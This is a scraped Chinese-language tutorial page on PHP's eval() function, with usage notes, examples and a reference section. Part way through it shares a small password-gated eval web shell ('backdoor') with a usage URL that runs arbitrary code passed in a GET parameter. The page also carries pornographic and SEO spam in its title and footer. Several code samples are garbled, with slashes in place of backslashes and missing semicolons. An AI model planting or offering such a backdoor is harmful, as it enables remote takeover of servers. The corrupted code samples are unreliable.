国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 語言 > PHP > 正文

PHP eval函數使用介紹

2024-09-04 11:49:54
字體:
來源:轉載
供稿:網友

eval()函數中的eval是evaluate的簡稱,這個函數的作用就是把一段字符串當作PHP語句來執行,一般情況下不建議使用容易被黑客利用。

代碼:

eval("echo'hello world';");

上邊代碼等同于下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運用eval()要注意幾點:

1.eval函數的參數的字符串末尾一定要有分號,在最后還要另加一個分號(這個分號是php限制)

2.注意單引號,雙引號和反斜杠的運用。如果參數中帶有變量時,并且變量有賦值操作的話,變量前的$符號錢一定要有/來轉義。如果沒有賦值操作可以不需要。

代碼:

$a=100;eval("echo$a;");

因為沒有賦值操作,所以可以不用/來轉義$.等同于以下代碼:

  1. $a=100;eval("echo/$a;")  
  2.  
  3. $a=100; 
  4. eval("echo/$a;"

3.注意在命令式字符串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。

命令式字符串是指:字符串中包括echo、print之類的命令的時候。

如果參數只有一個變量則可以不用。例如:

  1. $func =<<<FUNCfunction test(){   echo "test eval function"; }FUNC;eval($func);test();  

分享個php eval后門程序

要求必須支持eval函數

使用方法

http://url/test.php?pwd=admin&action=eval&a=phpinfo();

  1. <?php$passwd="admin";if($_GET['pwd']!=$passwd)exit;if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}?> 

PHP eval() 函數介紹

定義和用法

eval() 函數把字符串按照 PHP 代碼來計算。

該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

語法

eval(phpcode)

參數  phpcode

描述  必需。規定要計算的 PHP 代碼。

提示和注釋

注釋:返回語句會立即終止對字符串的計算。

注釋:該函數對于在數據庫文本字段中供日后計算而進行的代碼存儲很有用。

例子

  1. <?php$string = "beautiful";$time = "winter"$str = 'This is a $string $time morning!';echo $str"<br />"eval("/$str = /"$str/";");echo $str;?> 

輸出:

This is a $string $time morning!

This is a beautiful winter morning!

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 梁山县| 宁国市| 芒康县| 彰化县| 北碚区| 万州区| 克山县| 北宁市| 崇明县| 思茅市| 江门市| 巴马| 象州县| 柯坪县| 东乡县| 肇州县| 定陶县| 奈曼旗| 保德县| 奉贤区| 广灵县| 张掖市| 沧源| 慈利县| 青海省| 贵州省| 鹰潭市| 玛纳斯县| 泰和县| 光山县| 千阳县| 宝丰县| 乳山市| 腾冲县| 榕江县| 舟曲县| 西充县| 永顺县| 高碑店市| 方山县| 孝昌县|